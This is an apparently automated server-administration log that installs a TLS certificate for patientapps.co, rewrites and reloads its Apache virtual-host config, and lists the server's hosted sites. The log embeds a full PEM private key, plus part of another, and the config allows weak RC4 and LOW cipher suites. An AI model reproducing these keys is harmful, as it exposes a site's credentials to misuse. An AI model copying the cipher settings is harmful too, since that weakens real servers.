AufuFreXzwKBgGEBrjuNuxo6sOi9a5N5xD5xcQ+ifHH4dqYpvNdTkk350dzNDvnQ
vAcmQ9zFoGTcKz2zQcEErUXxKZRcAxvXZAglV7R7t3VJO1PgS/KFra8zaaXp/UIm
cVeSkT0SVBFK6gihQyjm7eimfNsesUYQ8rEvAASvkhGpxqqK7Xfx53R1AoGBANpf
UlcMwHwkaQXh/SJ9WFHRbP66HOlXiIGBpg3ULagQJq8bCzxP8uCbQ8AC+L4DFMLf
psTaA7m7Y6R3O2b2g1EYDfgpPDFbqYsahZc4FuqPpkAZKJWvA29P335WYLdE3n3D
kl6Z+0nBfHIJErJa25gr2aLZB3MmyFcun5o7AkTVAoGBAKeGSnQmfKzIYt9AnBTE
Mxk6kNAYWdH+wr+3962+zCHvFYC5H/DYD5ZTW+SNlo1C9turRsaGMOrcvpjX2CDO
DeA+IFN4rxcXZUF9Br+KqxBAfG95Ev1URgQcPQQOL7mW0KdLQHidBYZLdd8oUNsJ
rRylQdybB9tw6qv8baBNkEfj
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-03-24 06:00:21: Establishing a connection
2026-03-24 06:00:21: Establishing a connection
2026-03-24 06:00:21: 

PUT: /tmp/pkp909476

#!/bin/bash
if [ -d "/var/www/patientapps_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-24 06:00:22: 

chmod 755 /tmp/pkp909476; /tmp/pkp909476; rm /tmp/pkp909476

2026-03-24 06:00:22: 


0


2026-03-24 06:00:49: Establishing a connection
2026-03-24 06:00:49: 

PUT: /tmp/pkp429599

#!/bin/bash
temp_file=$(mktemp)
TARGET=d18ebcef2c53b2fff4c3f6f80595db99.crt

cat > $temp_file <<'endmsg'
60:24:a8:78:f3:d3:b0:17:a9:04:b2:90:0a:13:1e:52

-----BEGIN CERTIFICATE-----
MIIFCDCCA/CgAwIBAgISBrEq9+oZDWDvPvSG3wIcf/P6MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzI0MDUwMjE4WhcNMjYwNjIyMDUwMjE3WjAZMRcwFQYDVQQD
Ew5wYXRpZW50YXBwcy5jbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ANtjhgDvI/bIHykLmDUmnBWixvmkSMX4CKndO7Qqx/i65kq5xJrr40OPdETotgO2
yh1nGz11g5acBzY3jeaN31GTULSkgBIEwoMnQbc07oDb7nKVZnZFLa4VNmVJOGlF
QA2+U7xV4jLRq+bHpfO/z3OWsQNZfN+0XYK4lCBuso9dqOH4dDINHfm9503+lsZc
b1aPrvUNbPp+WevRfeFAdI/+6cr2/5pk5Do1ePRFLhTLYzSZ75MAVOYUec46dZUd
RByditodnK2EQHtuZLXLkLcJ6nHALEp6IFDfG5hluELwHGGKw7S7SS4cf9CuYcSD
v/sGNKxz9eeKrwu0MGiVegMCAwEAAaOCAi4wggIqMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBQhIlEI
6TNJhjLVXH9FiDAIGc298jAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14Pvrc6QzR
0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIuaS5sZW5j
ci5vcmcvMCsGA1UdEQQkMCKCECoucGF0aWVudGFwcHMuY2+CDnBhdGllbnRhcHBz
LmNvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6
Ly9yMTIuYy5sZW5jci5vcmcvMTIzLmNybDCCAQsGCisGAQQB1nkCBAIEgfwEgfkA
9wB1AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3wAAABnR5udjcAAAQD
AEYwRAIgJ2MT8MGIPrt72XT6HxHKl70Fx/taB1bxHUGajPWI/7wCIH/p+Dm/WqwD
x2lNsrKjz/9N0LfiD0XzeDl7rD5/j4PGAH4AGoudaUpXmMiZoMqIvfSPwLRWYMzD
YA0fcfRp/8fRrKMAAAGdHm53hAAIAAAFAFhUzYoEAwBHMEUCIGmY6AQ34kxM99vq
tQw7JakWXjOVIL5QJ8wbk9CY/YVsAiEA+tIqSZotVNfoGCVeZmYU6FBrd+IaDYoA
B6nG9AtvlS8wDQYJKoZIhvcNAQELBQADggEBAJruBOzWobhxqiPVkb3Z7riWGyqx
hqwEdMbhj6UUZnk2ZrxO1nV0iJzG9M/b/teKcE+qWFyoNpWpaPgb9zap6yBXBT3X
6otcQhfPy3t7vYL3AJw56HJMuSPaPEx9iCz21EZgvsKfl8p0lpJRVX5V0Q4GxrRk
D5q3TdMAMtErR0FpAyeWTjXYfkMAOxuM9ADfhN+g228XYg0wmtTEshrNOpL5+PXT
vkh+9S9rMxK/3W/LXeHx/Q1LI6GTSxupQyfYTHQkHbLd3mQ/KW6qDmufJbBX4U9n
lLE3vXZGJZVnjnuJbSNzefZWJZHWufmRz6gDVxIXayPQsNRL36+e+OFF4rs=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDbY4YA7yP2yB8p
C5g1JpwVosb5pEjF+Aip3Tu0Ksf4uuZKucSa6+NDj3RE6LYDtsodZxs9dYOWnAc2
N43mjd9Rk1C0pIASBMKDJ0G3NO6A2+5ylWZ2RS2uFTZlSThpRUANvlO8VeIy0avm
x6Xzv89zlrEDWXzftF2CuJQgbrKPXajh+HQyDR35vedN/pbGXG9Wj671DWz6flnr
0X3hQHSP/unK9v+aZOQ6NXj0RS4Uy2M0me+TAFTmFHnOOnWVHUQcnYraHZythEB7
bmS1y5C3CepxwCxKeiBQ3xuYZbhC8BxhisO0u0kuHH/QrmHEg7/7BjSsc/Xniq8L
tDBolXoDAgMBAAECggEAEF2Ta+AEj5T/t6qE9CupJ3c5Ei5OVdZAbzHXRLb13xJ+
7PWzbaSv4CS3Yg/Dl1gikG1WLt0Xr9VIngn1RkzKN+YEkAHyO8xD5k/rXj6CL1w4
pJUlS47liKYa1+HNmRMjya94KtINSaH/PMi8rG4s8rM71faHxit71+CE/2/1vS2Q
DktGIcGC9hgWVge3aVMNh5fEdhagV3JuNVe8c3O2btKSHLnrE8mIJCHLsLbHHhcC
XFtNiMZ4m0MEsm2iU48jHmRTr5JrbfLPQX8KEaBUBz3HM0RSg7oEOWoOgIs0m06u
OEuA8r4Ae+4IqBmHLJeN4a0YOCiWA/WazjJBd+AbwQKBgQD0UQtNde2xU9EV9yxQ
4gXhd0hyxyKw6p4ozwC42ucgrDRFXluJX7bmopnDkCXFrrdYqPx0ZyUHUDrn5xce
B486/C5hVgPjUqkNdHZmQwGEbYAadaKY7d6fWwdogqCVw96TUX1w095bWk65G9pU
sHOgxO1C1DGdbcJQ/rKE3dePCQKBgQDl4U9H/BwpQ91WUW+AMUosIESijJkWD/tg
a43GUvXR700V/Mv7kJwF1276QVlaUdEokrEHgRsdkg6w07Q0rbFgrxq5tmLLI7w4
X5M5sLSOAaQzt1AA8qK2MUsIHVjI159322NDIpqnru7XBCP5/YzJpV+ZuQyxt+LS
5agU1G43qwKBgEFeeda06e8bTQNCiiHuB8LGxqSnMVoCvGSQ1lGfiF3OlYHF+Fnu
OSLGeLvBksmssLPRKxL+EgM97TTlOOM5BJK0rLgwaoPlNwQ5mABOh1ZmcfMibGnc
o0ch9P56jPrlWGU0VYrdtU3eANg4YpdsStPGPPE3kzrbBjXjn+I69RT5AoGADZlf
nE2QyOwn2uRkaTwBPE0IYmlY4RI+97xFHddojWvPrp5O3un2IO5WtV1KUOqIKhNL
f7smhIBQeCt9/KPN239gYF4myAesKdWVmxMWC1SThy+v/u5bq9WMr8U0rGT9HRUQ
cTdJ2OOjY3ruOerC+mbbGff1hUnwlDNb1yeeAZMCgYBb4xmG4yEBqz/0DKjVjHZW
6gNKOEJTQDjk6Is1gKpFCNZwJNzt5WkPlmh/HKm/AjXxtTL3UyNpJGceIl6HyOq1
I53WsO+xrZrHgVsmkWN9KXQiFMQbCBiU7q3T2aDTu5dZyULK1XF2e+I10/P+wW6J
VnXy2bZNiqpPUZOGjxUHYw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-24 06:00:50: 

chmod 755 /tmp/pkp429599; /tmp/pkp429599; rm /tmp/pkp429599

2026-03-24 06:00:50: 


dir=/etc/ssl/certs


2026-03-24 06:00:50: 

PUT: /tmp/pkp491721

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_www_co.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-24 06:00:50: 

chmod 755 /tmp/pkp491721; /tmp/pkp491721; rm /tmp/pkp491721

2026-03-24 06:00:50: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_www_co.conf 42

<VirtualHost *:80>
    ServerName	patientapps.co
    ServerAlias	www.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_www/public
    <Directory /var/www/patientapps_www/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientapps.co
    ServerAlias	www.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt
    DocumentRoot	/var/www/patientapps_www/public
    <Directory /var/www/patientapps_www/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>






2026-03-24 06:00:50: 

PUT: /tmp/pkp893143

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_www_co.conf
TARGET=/etc/apache2/sites-enabled/patientapps_www_co.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	patientapps.co
    ServerAlias	www.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_www/public
    <Directory /var/www/patientapps_www/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientapps.co
    ServerAlias	www.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt
    DocumentRoot	/var/www/patientapps_www/public
    <Directory /var/www/patientapps_www/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_www_co.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_www_co.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_www_co.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_www_co.conf= 1'
fi


2026-03-24 06:00:50: 

chmod 755 /tmp/pkp893143; /tmp/pkp893143; rm /tmp/pkp893143

2026-03-24 06:00:50: 




2026-03-24 06:00:50: 

PUT: /tmp/pkp319570

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-24 06:00:50: 

chmod 755 /tmp/pkp319570; /tmp/pkp319570; rm /tmp/pkp319570

2026-03-24 06:00:50: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-24 06:00:50: Establishing a connection
2026-03-24 06:00:50: 

PUT: /tmp/pkp686123

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-24 06:00:50: 

chmod 755 /tmp/pkp686123; /tmp/pkp686123; rm /tmp/pkp686123

2026-03-24 06:00:50: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-24 06:00:50: 

PUT: /tmp/pkp775424

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_www_co.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-24 06:00:51: 

chmod 755 /tmp/pkp775424; /tmp/pkp775424; rm /tmp/pkp775424

2026-03-24 06:00:51: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_www_co.conf	1820

<VirtualHost *:80>
    ServerName	patientapps.co
    ServerAlias	www.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_www/public
    <Directory /var/www/patientapps_www/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
